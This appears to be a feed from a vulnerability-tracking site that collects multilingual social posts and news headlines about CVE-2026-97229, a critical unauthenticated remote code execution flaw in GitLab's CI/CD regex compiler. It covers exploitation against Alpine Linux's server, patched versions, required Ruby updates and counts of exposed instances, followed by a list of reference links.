social infosec.exchange @cloud 2026-11-03 01:20 UTC🤖 CVE-2026-97229 (CVSS 10.0): unauthenticated RCE in GitLab CE/EE 19.2–19.4 via a crafted regex in a CI/CD config — integer overflow in the Ruby/Onigmo regexp compiler. Actively exploited, in CISA KEV (due 2026-11-01). 1,000+ internet-expo…Open source
-
social bsky.app @bufigol.bsky.social 2026-11-03 00:01 UTCAlpine upgraded GitLab and stayed vulnerable: the CVE-2026-97229 fix lived in a Ruby patch only GitLab's own packages ship. No outbound logs, no proof either way, so they rebuilt from zero. #SupplyChain #DevOps alpinelinux.org/posts/GitLab…Open source
-
social bsky.app @unnchain.bsky.social 2026-11-02 23:07 UTC補足(11/3):このCVE-2026-97229は悪用が確認されています。原因はGitLabに同梱されたRubyの正規表現エンジンなので、ソースや自作イメージで標準のRubyを使っている環境では、GitLabの更新に加えてRuby 3.3.13/3.4.12/4.0.9以降への更新も必要です。 https://www.ruby-lang.org/en/news/2026/10/23/regexp-fixes-for-gitlab-cves/Open source
-
social bsky.app @securityrss.bsky.social 2026-11-02 22:05 UTCAn attacker attempted to exploit a critical GitLab vulnerability (CVE-2026-97229, CVSS 10.0) on Alpine Linux's GitLab server shortly after a fix was released. Although no successful exploit was confirmed, Alpine rebuilt the server and rese…Open source
-
social infosec.exchange @karenit 2026-11-02 21:26 UTCKaren IT Security Response Center ( @ ksrc ) Advisory Advisory ID: KSRC-2026-11023 A # critical # vulnerability has been identified in # GitLab Community Edition (CE) and Enterprise Edition (EE) that allows an unauthenticated remote attack…Open source
-
social bsky.app @hendryadrian.bsky.social 2026-11-02 21:24 UTCMore than 1,000 internet-exposed GitLab servers remain unpatched against CVE-2026-97229, an actively exploited flaw that can enable unauthenticated remote code execution. GitLab released patches, and CISA added the flaw to its KEV Catalog.Open source
-
social bsky.app @jbhall56.bsky.social 2026-11-02 20:39 UTCTracked as CVE-2026-97229, this vulnerability stems from an integer overflow weakness and was discovered in the CI/CD Regular Expression Compiler, which parses and evaluates regular expressions in pipeline configuration files. www.bleeping…Open source
-
social bsky.app @alt.pds.lefht.cc 2026-11-02 19:15 UTC2. CVE-2026-97229 · 10 people 🔥 🟥 Critical 10.0 · GitLab Integer Overflow or Wraparound in GitLabOpen source
-
social bsky.app @alt.pds.lefht.cc 2026-11-02 19:15 UTC🛡️ Most-discussed CVEs on Bluesky, last 24h 1. CVE-2026-98432 · 33 people 2. CVE-2026-97229 · 10 people 🔥 3. CVE-2026-109618 · 9 people 🔥 4. CVE-2026-111357 · 9 people 🔥 5. CVE-2026-118527 · 8 people 🔥 🔥 = on CISA's Known Exploited list ·…Open source
-
social bsky.app @hey-kira.bsky.social 2026-11-02 18:51 UTCFix versions, since the headline stops at the count: 19.4.2, 19.3.5 and 19.2.8, per GitLab's patch release notes. CVE-2026-97229 sits in CISA's KEV, so exploited rather than theoretical. Unauthenticated RCE through the CI/CD regex compiler…Open source
-
social infosec.exchange @DarkWebInformer 2026-11-02 18:10 UTC🚨 More than 1,000 GitLab servers remain exposed to an actively exploited RCE flaw; CVE-2026-97229 The CVSS 10.0 vulnerability allows an unauthenticated attacker to execute arbitrary code through a malicious regular expression inside a CI/C…Open source
-
social bsky.app @tugate.ch 2026-11-02 17:16 UTCMais de 1.000 servidores do GitLab permanecem vulneráveis a ataques de execução remota de código devido a uma falha de segurança identificada como CVE-2026-97229. 🚨 #empresa #erro #falha #gitlab #vulnerabilidadeOpen source
-
social bsky.app @undercodenews.bsky.social 2026-11-02 13:14 UTCOver 1,000 Internet-Exposed GitLab Servers Remain Vulnerable to Actively Exploited Critical RCE Flaw + Video More than 1,000 Internet-exposed GitLab servers remain vulnerable to a maximum-severity security flaw that attackers are actively…Open source
-
social bsky.app @newssecia.bsky.social 2026-11-02 13:08 UTC🤖 CVE-2026-97229: unauth RCE in GitLab CI/CD regex compiler — integer overflow via crafted pipeline regex. Patched Oct 12, in CISA KEV, 1,000+ exposed servers unpatched. https://www.bleepingcomputer.com/news/security/over-1-000-gitlab-serv…Open source
-
social infosec.exchange @cloud 2026-11-02 13:08 UTC🤖 CVE-2026-97229 (critical): unauthenticated RCE in GitLab's CI/CD regular expression compiler — integer overflow from a crafted regex in pipeline config. Patched Oct 12 (19.4.2/19.3.5/19.2.8), added to CISA KEV Friday. Shadowserver still…Open source
-
news bleepingcomputer.com 2026-11-02 12:47 UTCOver 1,000 GitLab servers vulnerable to ongoing RCE attacks - BleepingComputerOpen source
-
news bleepingcomputer.com 2026-11-02 12:47 UTCOver 1,000 GitLab servers vulnerable to ongoing RCE attacks - BleepingComputerOpen source
-
news techzine.eu 2026-11-02 10:04 UTCThousands of GitLab servers still unpatched against critical vulnerabilities - Techzine GlobalOpen source
-
social bsky.app @cyberdine.ch 2026-11-02 09:00 UTCGitLab: vier kritische Lücken im Oktober, eine wird seit dem 29. angegriffen. Wer am 12. Oktober aktualisiert hat, musste am 21. noch einmal. Und wer GitLab mit eigenem Ruby betreibt, braucht auch ein Ruby-Update. https://cyberdine.ch/news…Open source
-
social bsky.app @thebadgamer.bsky.social 2026-11-02 08:16 UTCGitLab’s official fixes include a Ruby patch that Alpine’s custom image missed, leaving its upgraded server exposed and prompting a rebuild and password resets. #cybersecurity… https://www.trickyworld.in/computer-tricks/cyber-security/cve-…Open source
-
social bsky.app @pmloik.bsky.social 2026-11-02 08:11 UTCTop 3 CVE for last 7 days: CVE-2026-98432: 538 interactions CVE-2026-109618: 160 interactions CVE-2026-111497: 148 interactions Top 3 CVE for yesterday: CVE-2026-98432: 44 interactions CVE-2026-97229: 13 interactions CVE-2026-110264: 9 int…Open source
-
social bsky.app @adriend.linuxtricks.fr 2026-11-02 07:58 UTCLes tentatives de piratages sur les distribs Linux sont inquiétantes ! #AlpineLinux, qui sert de base à beaucoup d'images de conteneurs, a été la cible alpinelinux.org/posts/GitLab...Open source
-
social bsky.app @cybercaptain.cc 2026-11-02 07:50 UTCAlpine Linux rebuilt its GitLab after repeated attempts to exploit CVE-2026-97229, despite installing an unpatched GitLab version and bundling an unpatched Ruby. #SupplyChain #GitLabOpen source
-
social bsky.app @secquill.com 2026-11-02 06:30 UTCCISA adds CVE-2026-97229 to exploited-vulnerabilities catalog: GitLab Community Edition and Enterprise Edition CISA added CVE-2026-97229, affecting GitLab Community Edition and Enterprise Edition, to its Known Exploited Vulnerabilities cat…Open source
-
social bsky.app @johonotodai.bsky.social 2026-11-02 04:15 UTCAlpine LinuxのGitLab、修正版に更新しても脆弱性が残った理由。全面再構築の経緯Open source
-
social bsky.app @ahmandonk.bsky.social 2026-11-02 03:46 UTC📰 Alpine Linux Bangun Ulang Server GitLab Usai Percobaan Serangan RCE 👉 Baca artikel lengkap di sini: https://ahmandonk.com/2026/11/02/alpine-linux-bangun-ulang-server-gitlab-serangan-rce/ #alpineLinux #celahKeamanan #container #cve-2026-9…Open source
-
social bsky.app @hendryadrian.bsky.social 2026-11-01 23:48 UTCAlpine Linux rebuilt its GitLab server and reset passwords after attackers targeted CVE-2026-97229, causing worker crashes. It found no package tampering or confirmed code execution, but missing logs prevented ruling out compromise.Open source
-
social bsky.app @shadowserver.bsky.social 2026-11-01 20:50 UTCIP data in our Vulnerable HTTP reporting tagged 'cve-2026-97229' or 'cve-2026-110264': www.shadowserver.org/what-we-do/n... World Map view: dashboard.shadowserver.org/statistics/c... Tracker: dashboard.shadowserver.org/statistics/c... Patc…Open source
-
social bsky.app @shadowserver.bsky.social 2026-11-01 20:50 UTCWe are currently tracking over 1000 GitLab instances vulnerable to CVE-2026-97229 (on @CISACyber KEV) and over 11300 instances vulnerable to CVE-2026-110264 (out of around 39K GitLab instances we see daily). Tree Map Dashboard stats (both…Open source
-
social bsky.app @patrickcmiller.bsky.social 2026-11-01 17:42 UTCMax-Severity GitLab Vulnerability Exploited Against Alpine Linux www.securityweek.com/max-severity...Open source
-
social bsky.app @newssecia.bsky.social 2026-11-01 16:45 UTC🤖 CVE-2026-97229: integer overflow in GitLab's CI/CD Onigmo regex compiler → unauthenticated RCE via crafted pipeline regex. Alpine's GitLab was hit Oct 20-21, rebuilt from scratch. https://www.bleepingcomputer.com/news/security/alpine-lin…Open source
-
social infosec.exchange @cloud 2026-11-01 16:45 UTC🤖 CVE-2026-97229: integer overflow in GitLab's CI/CD Onigmo regex compiler (Ruby), unauthenticated RCE via a crafted pipeline regex. Alpine Linux's own GitLab was hit Oct 20-21: 8 worker crashes, 4 partial successes. Rebuilt from scratch,…Open source
-
news bleepingcomputer.com 2026-11-01 15:11 UTCAlpine Linux rebuilds GitLab after attempted RCE attack - BleepingComputerOpen source
-
social bsky.app @thelabledger.bsky.social 2026-11-01 15:08 UTC🦊 GitLab CVE-2026-97229 (CVSS 10, no-login RCE) is on CISA KEV after an attack on Alpine's GitLab; federal deadline is today. Own-Ruby installs need Ruby 3.3.13/3.4.12/4.0.9+ too. www.alpinelinux.org/posts/GitLab... #GitLab #CVE #cybersecu…Open source
References (6)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-97229 |
| gitlab.com |
GitHub CVE
|
https://gitlab.com/gitlab-org/gitlab/-/work_items/630686 |
| hackerone.com |
GitHub CVE
technical-description
exploit
permissions-required
|
https://hackerone.com/reports/4055749 |
| hackerone.com |
GitHub CVE
technical-description
exploit
permissions-required
|
https://hackerone.com/reports/4058589 |
| docs.gitlab.com |
GitHub CVE
|
https://docs.gitlab.com/releases/patches/patch-release-gitlab-19-4-2-released/ |
| cisa.gov |
NVD API
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-97229 |